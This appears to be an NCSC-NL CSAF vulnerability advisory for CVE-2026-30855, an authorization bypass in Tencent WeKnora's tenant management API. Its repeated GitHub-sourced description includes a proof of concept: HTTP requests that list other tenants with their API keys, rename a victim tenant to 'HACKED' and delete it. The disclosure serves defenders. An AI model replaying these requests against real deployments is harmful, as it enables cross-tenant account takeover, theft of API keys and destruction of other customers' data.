{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-30855",
        "tracking": {
            "current_release_date": "2026-03-25T19:19:23.585701Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-30855",
            "initial_release_date": "2026-03-07T00:12:45.171748Z",
            "revision_history": [
                {
                    "date": "2026-03-07T00:12:45.171748Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T00:12:50.919874Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-07T00:39:54.422709Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T00:40:04.549031Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:25:15.610570Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:38:51.730369Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:39:02.952875Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-08T14:48:53.276340Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-08T14:49:03.264794Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T13:39:51.619596Z",
                    "number": "10",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T13:39:55.310780Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:12:53.772518Z",
                    "number": "12",
                    "summary": "Products created (1).| Products removed (1).| References created (1)."
                },
                {
                    "date": "2026-03-09T18:12:55.590833Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:27:56.175066Z",
                    "number": "14",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-09T18:27:57.512192Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:39:25.005579Z",
                    "number": "16",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-19T15:29:14.324742Z",
                    "number": "17",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T09:33:49.848421Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:33:52.346814Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:15:34.273710Z",
                    "number": "20",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (1)."
                },
                {
                    "date": "2026-03-25T19:19:17.958839Z",
                    "number": "21",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Products created (5).| References created (3).| CWES updated (1)."
                }
            ],
            "status": "interim",
            "version": "21"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.3.2",
                                "product": {
                                    "name": "vers:unknown/<0.3.2",
                                    "product_id": "CSAFPID-5770071"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.3.2",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.3.2",
                                    "product_id": "CSAFPID-5771905"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "WeKnora"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.3.2",
                                "product": {
                                    "name": "vers:unknown/<0.3.2",
                                    "product_id": "CSAFPID-5772002",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.0",
                                "product": {
                                    "name": "vers:unknown/v0.1.0",
                                    "product_id": "CSAFPID-5364807"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.1",
                                "product": {
                                    "name": "vers:unknown/v0.1.1",
                                    "product_id": "CSAFPID-5364808"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.2",
                                "product": {
                                    "name": "vers:unknown/v0.1.2",
                                    "product_id": "CSAFPID-5364809"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.3",
                                "product": {
                                    "name": "vers:unknown/v0.1.3",
                                    "product_id": "CSAFPID-5364810"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.5",
                                "product": {
                                    "name": "vers:unknown/v0.1.5",
                                    "product_id": "CSAFPID-5364811"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.6",
                                "product": {
                                    "name": "vers:unknown/v0.1.6",
                                    "product_id": "CSAFPID-5364812"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.0",
                                "product": {
                                    "name": "vers:unknown/v0.2.0",
                                    "product_id": "CSAFPID-5364813"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.1",
                                "product": {
                                    "name": "vers:unknown/v0.2.1",
                                    "product_id": "CSAFPID-5364814"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.10",
                                "product": {
                                    "name": "vers:unknown/v0.2.10",
                                    "product_id": "CSAFPID-5909251"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.11",
                                "product": {
                                    "name": "vers:unknown/v0.2.11",
                                    "product_id": "CSAFPID-5909252"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.12",
                                "product": {
                                    "name": "vers:unknown/v0.2.12",
                                    "product_id": "CSAFPID-5909258"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.13",
                                "product": {
                                    "name": "vers:unknown/v0.2.13",
                                    "product_id": "CSAFPID-5909259"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.14",
                                "product": {
                                    "name": "vers:unknown/v0.2.14",
                                    "product_id": "CSAFPID-5909260"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.2",
                                "product": {
                                    "name": "vers:unknown/v0.2.2",
                                    "product_id": "CSAFPID-5364815"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.3",
                                "product": {
                                    "name": "vers:unknown/v0.2.3",
                                    "product_id": "CSAFPID-5364816"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.4",
                                "product": {
                                    "name": "vers:unknown/v0.2.4",
                                    "product_id": "CSAFPID-5364817"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.5",
                                "product": {
                                    "name": "vers:unknown/v0.2.5",
                                    "product_id": "CSAFPID-5909253"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.6",
                                "product": {
                                    "name": "vers:unknown/v0.2.6",
                                    "product_id": "CSAFPID-5909254"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.7",
                                "product": {
                                    "name": "vers:unknown/v0.2.7",
                                    "product_id": "CSAFPID-5909255"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.8",
                                "product": {
                                    "name": "vers:unknown/v0.2.8",
                                    "product_id": "CSAFPID-5909256"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.9",
                                "product": {
                                    "name": "vers:unknown/v0.2.9",
                                    "product_id": "CSAFPID-5909257"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.0",
                                "product": {
                                    "name": "vers:unknown/v0.3.0",
                                    "product_id": "CSAFPID-5909261"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.1",
                                "product": {
                                    "name": "vers:unknown/v0.3.1",
                                    "product_id": "CSAFPID-5909262"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "weknora"
                    }
                ],
                "category": "vendor",
                "name": "Tencent"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-30855",
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\nAn authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.\n\n### Details\nThe tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.\n\nAffected handlers:\n- `GET /api/v1/tenants` lists all tenants without ownership checks\n- `GET /api/v1/tenants/{id}` reads any tenant by ID without ownership checks\n- `PUT /api/v1/tenants/{id}` allows updating any tenant by ID without ownership checks\n- `DELETE /api/v1/tenants/{id}` allows deleting any tenant by ID without ownership checks\n\nThese endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike `ListAllTenants` and `SearchTenants`.\n\n### PoC\n1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.\n\n2) Read details of other tenants:\n\n  - Request that uses API key via the `X-API-Key` header:\n\n    ```http\n    GET /api/v1/tenants HTTP/1.1\n    Host: localhost\n    Connection: keep-alive\n    X-Request-ID: 2TpH2S0sHyi1\n    X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\n    sec-ch-ua-platform: \"macOS\"\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\n    Accept: application/json, text/plain, */*\n    sec-ch-ua: \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"\n    sec-ch-ua-mobile: ?0\n    Sec-Fetch-Site: same-origin\n    Sec-Fetch-Mode: cors\n    Sec-Fetch-Dest: empty\n    Referer: https://weknora.serviceme.top/platform/knowledge-bases\n    Accept-Encoding: gzip, deflate, br, zstd\n    Accept-Language: en-US,en;q=0.9\n\n\n    ```\n\n\n  - Response (truncated for brevity):\n\n    ```http\n    HTTP/1.1 200 OK\n    Server: nginx/1.28.0\n    Date: Fri, 06 Feb 2026 03:12:22 GMT\n    Content-Type: application/json; charset=utf-8\n    Connection: close\n    X-Request-Id: 2TpH2S0sHyi1\n    X-Frame-Options: SAMEORIGIN\n    X-Content-Type-Options: nosniff\n    X-XSS-Protection: 1; mode=block\n    Referrer-Policy: strict-origin-when-cross-origin\n\n    {\n        \"data\": {\n            \"items\": [\n                {\n                    \"id\": 10025,\n                    \"name\": \"injokerr's Workspace\",\n                    \"api_key\": \"sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\",\n                    \"status\": \"active\"\n                },\n                {\n                    \"id\": 10001,\n                    \"name\": \"viaim_yuweilong\",\n                    \"api_key\": \"sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe\",\n                    \"status\": \"active\"\n                }\n            ]\n        },\n        \"success\": true\n    }\n    ...\n    ```\n\nWith API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.\n\nRequests to perform modification and deletion of another tenant.\n\n1) Modify the victim tenant:\n\n- Request:\n  - Method: `PUT`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n  - Body: `{ \"name\": \"HACKED by tenant 10025\" }`\n\n- Expected response:\n  - `200 OK` with the updated tenant object.\n\n4) Delete the victim tenant:\n\n- Request:\n  - Method: `DELETE`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n\n- Expected response:\n  - `200 OK` and the tenant is deleted.\n\n### Impact\n\nThis is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.",
                    "title": "github - https://github.com/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "description",
                    "text": "### Summary\nAn authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.\n\n### Details\nThe tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.\n\nAffected handlers:\n- `GET /api/v1/tenants` lists all tenants without ownership checks\n- `GET /api/v1/tenants/{id}` reads any tenant by ID without ownership checks\n- `PUT /api/v1/tenants/{id}` allows updating any tenant by ID without ownership checks\n- `DELETE /api/v1/tenants/{id}` allows deleting any tenant by ID without ownership checks\n\nThese endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike `ListAllTenants` and `SearchTenants`.\n\n### PoC\n1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.\n\n2) Read details of other tenants:\n\n  - Request that uses API key via the `X-API-Key` header:\n\n    ```http\n    GET /api/v1/tenants HTTP/1.1\n    Host: localhost\n    Connection: keep-alive\n    X-Request-ID: 2TpH2S0sHyi1\n    X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\n    sec-ch-ua-platform: \"macOS\"\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\n    Accept: application/json, text/plain, */*\n    sec-ch-ua: \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"\n    sec-ch-ua-mobile: ?0\n    Sec-Fetch-Site: same-origin\n    Sec-Fetch-Mode: cors\n    Sec-Fetch-Dest: empty\n    Referer: https://weknora.serviceme.top/platform/knowledge-bases\n    Accept-Encoding: gzip, deflate, br, zstd\n    Accept-Language: en-US,en;q=0.9\n\n\n    ```\n\n\n  - Response (truncated for brevity):\n\n    ```http\n    HTTP/1.1 200 OK\n    Server: nginx/1.28.0\n    Date: Fri, 06 Feb 2026 03:12:22 GMT\n    Content-Type: application/json; charset=utf-8\n    Connection: close\n    X-Request-Id: 2TpH2S0sHyi1\n    X-Frame-Options: SAMEORIGIN\n    X-Content-Type-Options: nosniff\n    X-XSS-Protection: 1; mode=block\n    Referrer-Policy: strict-origin-when-cross-origin\n\n    {\n        \"data\": {\n            \"items\": [\n                {\n                    \"id\": 10025,\n                    \"name\": \"injokerr's Workspace\",\n                    \"api_key\": \"sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\",\n                    \"status\": \"active\"\n                },\n                {\n                    \"id\": 10001,\n                    \"name\": \"viaim_yuweilong\",\n                    \"api_key\": \"sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe\",\n                    \"status\": \"active\"\n                }\n            ]\n        },\n        \"success\": true\n    }\n    ...\n    ```\n\nWith API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.\n\nRequests to perform modification and deletion of another tenant.\n\n1) Modify the victim tenant:\n\n- Request:\n  - Method: `PUT`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n  - Body: `{ \"name\": \"HACKED by tenant 10025\" }`\n\n- Expected response:\n  - `200 OK` with the updated tenant object.\n\n4) Delete the victim tenant:\n\n- Request:\n  - Method: `DELETE`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n\n- Expected response:\n  - `200 OK` and the tenant is deleted.\n\n### Impact\n\nThis is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-ccj6-79j6-cq5q.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30855"
                },
                {
                    "category": "description",
                    "text": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30855"
                },
                {
                    "category": "description",
                    "text": "### Summary\nAn authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.\n\n### Details\nThe tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.\n\nAffected handlers:\n- `GET /api/v1/tenants` lists all tenants without ownership checks\n- `GET /api/v1/tenants/{id}` reads any tenant by ID without ownership checks\n- `PUT /api/v1/tenants/{id}` allows updating any tenant by ID without ownership checks\n- `DELETE /api/v1/tenants/{id}` allows deleting any tenant by ID without ownership checks\n\nThese endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike `ListAllTenants` and `SearchTenants`.\n\n### PoC\n1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.\n\n2) Read details of other tenants:\n\n  - Request that uses API key via the `X-API-Key` header:\n\n    ```http\n    GET /api/v1/tenants HTTP/1.1\n    Host: localhost\n    Connection: keep-alive\n    X-Request-ID: 2TpH2S0sHyi1\n    X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\n    sec-ch-ua-platform: \"macOS\"\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\n    Accept: application/json, text/plain, */*\n    sec-ch-ua: \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"\n    sec-ch-ua-mobile: ?0\n    Sec-Fetch-Site: same-origin\n    Sec-Fetch-Mode: cors\n    Sec-Fetch-Dest: empty\n    Referer: https://weknora.serviceme.top/platform/knowledge-bases\n    Accept-Encoding: gzip, deflate, br, zstd\n    Accept-Language: en-US,en;q=0.9\n\n\n    ```\n\n\n  - Response (truncated for brevity):\n\n    ```http\n    HTTP/1.1 200 OK\n    Server: nginx/1.28.0\n    Date: Fri, 06 Feb 2026 03:12:22 GMT\n    Content-Type: application/json; charset=utf-8\n    Connection: close\n    X-Request-Id: 2TpH2S0sHyi1\n    X-Frame-Options: SAMEORIGIN\n    X-Content-Type-Options: nosniff\n    X-XSS-Protection: 1; mode=block\n    Referrer-Policy: strict-origin-when-cross-origin\n\n    {\n        \"data\": {\n            \"items\": [\n                {\n                    \"id\": 10025,\n                    \"name\": \"injokerr's Workspace\",\n                    \"api_key\": \"sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\",\n                    \"status\": \"active\"\n                },\n                {\n                    \"id\": 10001,\n                    \"name\": \"viaim_yuweilong\",\n                    \"api_key\": \"sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe\",\n                    \"status\": \"active\"\n                }\n            ]\n        },\n        \"success\": true\n    }\n    ...\n    ```\n\nWith API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.\n\nRequests to perform modification and deletion of another tenant.\n\n1) Modify the victim tenant:\n\n- Request:\n  - Method: `PUT`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n  - Body: `{ \"name\": \"HACKED by tenant 10025\" }`\n\n- Expected response:\n  - `200 OK` with the updated tenant object.\n\n4) Delete the victim tenant:\n\n- Request:\n  - Method: `DELETE`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n\n- Expected response:\n  - `200 OK` and the tenant is deleted.\n\n### Impact\n\nThis is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.",
                    "title": "github - https://api.github.com/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "description",
                    "text": "WeKnora Vulnerable to Broken Access Control in Tenant Management in github.com/Tencent/WeKnora",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4642.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30855.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00128",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5770071",
                    "CSAFPID-5771905",
                    "CSAFPID-5772002",
                    "CSAFPID-5364807",
                    "CSAFPID-5364808",
                    "CSAFPID-5364809",
                    "CSAFPID-5364810",
                    "CSAFPID-5364811",
                    "CSAFPID-5364812",
                    "CSAFPID-5364813",
                    "CSAFPID-5364814",
                    "CSAFPID-5364815",
                    "CSAFPID-5364816",
                    "CSAFPID-5364817",
                    "CSAFPID-5909251",
                    "CSAFPID-5909252",
                    "CSAFPID-5909253",
                    "CSAFPID-5909254",
                    "CSAFPID-5909255",
                    "CSAFPID-5909256",
                    "CSAFPID-5909257",
                    "CSAFPID-5909258",
                    "CSAFPID-5909259",
                    "CSAFPID-5909260",
                    "CSAFPID-5909261",
                    "CSAFPID-5909262"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-ccj6-79j6-cq5q.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30855"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30855"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-30855"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30855.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30855"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4642.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30855.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-ccj6-79j6-cq5q"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30855"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30855.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 9.8,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5364807",
                        "CSAFPID-5364808",
                        "CSAFPID-5364809",
                        "CSAFPID-5364810",
                        "CSAFPID-5364811",
                        "CSAFPID-5364812",
                        "CSAFPID-5364813",
                        "CSAFPID-5364814",
                        "CSAFPID-5364815",
                        "CSAFPID-5364816",
                        "CSAFPID-5364817",
                        "CSAFPID-5770071",
                        "CSAFPID-5771905",
                        "CSAFPID-5772002",
                        "CSAFPID-5909251",
                        "CSAFPID-5909252",
                        "CSAFPID-5909253",
                        "CSAFPID-5909254",
                        "CSAFPID-5909255",
                        "CSAFPID-5909256",
                        "CSAFPID-5909257",
                        "CSAFPID-5909258",
                        "CSAFPID-5909259",
                        "CSAFPID-5909260",
                        "CSAFPID-5909261",
                        "CSAFPID-5909262"
                    ]
                }
            ],
            "title": "CVE-2026-30855"
        }
    ]
}